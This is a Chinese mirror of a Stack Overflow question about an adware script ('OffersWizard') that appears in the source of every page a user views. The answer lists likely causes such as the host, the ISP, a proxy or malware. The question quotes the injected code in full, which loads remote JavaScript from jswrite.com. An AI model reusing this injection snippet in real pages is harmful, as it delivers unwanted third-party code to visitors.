javascript - 脚本自动出现在网页中

标签 javascript html browser add-on

今天,以下脚本自动出现在浏览器中所有网页的标签中(仅在 View-Source 中)。该脚本不仅在我的 php 项目中,而且在浏览器中打开的所有页面中。如果我查看此 stackoverflow 页面的源代码,我可以在其中找到脚本。

<script>if(typeof window.__wsujs==='undefined'){window.__wsujs=7123;window.__wsujsn='OffersWizard';window.__wsujss='DBCD7AEAE3ED09528E88443FCA6591CC';} </script> 
<script>if(top == self && typeof window._ws_all_js==='undefined'){ 
window._ws_all_js = 7; 
var zhead = document.getElementsByTagName('head')[0]; 
if(!zhead){zhead = document.createElement('head');} 
var qscript = document.createElement('script'); 
qscript.setAttribute('id','wsh2_js'); 
qscript.setAttribute('src','http://jswrite.com/script1.js'); 
qscript.setAttribute('type','text/javascript');qscript.async = true; 
if(zhead && !document.getElementById('wsh2_js')) zhead.appendChild(qscript); 
} </script>

我以为是浏览器插件或某些软件引起的,因为前几天我安装了一些适用于 Windows 的软件,其中一些浏览器插件会自动安装。所以我卸载了昨天安装的软件和浏览器插件。

但是脚本还是出现了?

最佳答案

这似乎是一个广告脚本。可能的原因有:

  • 您的主机可能会添加此内容,尤其是免费主机会添加此内容。
  • 您的服务器上可能有恶意代码,您是否在使用带插件的 WordPress?

不过很可能只是您的主机。 以为您在托管网站

嗯,在这种情况下,有几个可能的原因:

  • 您的互联网提供商可能会为您提供包含该脚本的所有页面。
  • 您的计算机可能感染了恶意软件或 spy 软件。
  • 您是否通过代理上网?
  • 这不是浏览器扩展,因为浏览器扩展无法修改源代码(仅 DOM)

关于javascript - 脚本自动出现在网页中,我们在Stack Overflow上找到一个类似的问题: https://stackoverflow.com/questions/24752050/

相关文章:

python - 如何使用 mac OSX 将 python 脚本注册为 Web 浏览器

css - 将 CSS 转换/动画减慢到 "slow motion"

javascript - Vuejs 类型错误 : Cannot read property 'placeholder' of undefined"

javascript - 在 Javascript 中将 $(美元符号)添加到多个数字

javascript - 使用 JS(无 Jquery)切换 html IMG 元素的类

html - 如何使用带空格的html anchor ?

javascript - 检测光标是否在内容可编辑的 li 内

html - 从底部和右侧移除框阴影

html - 如何使用 CSS 更改 .txt 文件的属性?

iis - 无法在 Windows 10 预览版的 Microsoft Edge(Project Spartan)中打开 localhost